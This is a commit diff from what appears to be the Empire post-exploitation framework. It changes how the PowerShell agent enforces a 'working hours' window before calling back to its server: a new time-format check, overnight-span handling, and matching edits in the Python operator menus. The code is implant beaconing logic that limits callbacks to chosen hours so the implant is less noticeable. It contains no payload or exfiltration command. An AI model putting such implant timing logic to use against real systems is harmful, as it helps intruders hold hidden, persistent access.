Corrected several bugs in how the workingHours window is handled in the agent
Added validation to the workinghours time format1.6
parent
e696bb7078
commit
c0d427cdc8
|
@ -991,17 +991,35 @@ function Invoke-Empire {
|
|||
|
||||
if($Servers[$ServerIndex].StartsWith("http")){
|
||||
|
||||
# if there are working hours set, make sure we're operating within them
|
||||
# format is "8:00,17:00"
|
||||
if ($script:WorkingHours){
|
||||
$start = Get-Date ($script:WorkingHours.split(",")[0])
|
||||
$end = Get-Date ($script:WorkingHours.split(",")[1])
|
||||
# if there are working hours set, make sure we're operating within the given time span
|
||||
# format is "8:00-17:00"
|
||||
if ($script:WorkingHours -match '^[0-9]{1,2}:[0-5][0-9]-[0-9]{1,2}:[0-5][0-9]$'){
|
||||
|
||||
$current = Get-Date
|
||||
$start = Get-Date ($script:WorkingHours.split("-")[0])
|
||||
$end = Get-Date ($script:WorkingHours.split("-")[1])
|
||||
|
||||
# correct for hours that span overnight
|
||||
if (($end-$start).hours -lt 0) {
|
||||
$start = $start.AddDays(-1)
|
||||
}
|
||||
|
||||
# if the current time is past the start time
|
||||
$startCheck = $current -ge $start
|
||||
|
||||
# if the current time is less than the end time
|
||||
$endCheck = $current -le $end
|
||||
|
||||
# if the current time falls outside the window
|
||||
if ((-not $startCheck) -or (-not $endCheck)) {
|
||||
|
||||
$startCheck = (Get-Date) -ge (Get-Date $start)
|
||||
$endCheck = (Get-Date) -le (Get-Date $end)
|
||||
if( (-not $startCheck) -and (-not $endCheck)){
|
||||
# sleep until the operational window starts again
|
||||
$sleepSeconds = ($end - (Get-Date)).TotalSeconds
|
||||
$sleepSeconds = ($start - $current).TotalSeconds
|
||||
|
||||
if($sleepSeconds -lt 0) {
|
||||
# correct for hours that span overnight
|
||||
$sleepSeconds = ($start.addDays(1) - $current).TotalSeconds
|
||||
}
|
||||
Start-Sleep -s $sleepSeconds
|
||||
}
|
||||
}
|
||||
|
|
|
@ -945,6 +945,7 @@ class AgentsMenu(cmd.Cmd):
|
|||
|
||||
elif parts[0].lower() == "all":
|
||||
hours = parts[1]
|
||||
hours = hours.replace("," , "-")
|
||||
|
||||
agents = self.mainMenu.agents.get_agents()
|
||||
|
||||
|
@ -962,6 +963,7 @@ class AgentsMenu(cmd.Cmd):
|
|||
sessionID = self.mainMenu.agents.get_agent_id(parts[0])
|
||||
|
||||
hours = parts[1]
|
||||
hours = hours.replace("," , "-")
|
||||
|
||||
if sessionID and len(sessionID) != 0:
|
||||
#update this agent's field in the database
|
||||
|
@ -1460,6 +1462,7 @@ class AgentMenu(cmd.Cmd):
|
|||
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get working hours")
|
||||
|
||||
else:
|
||||
hours = hours.replace("," , "-")
|
||||
# update this agent's information in the database
|
||||
self.mainMenu.agents.set_agent_field("working_hours", hours, self.sessionID)
|
||||
|
||||
|
|
Loading…
Reference in New Issue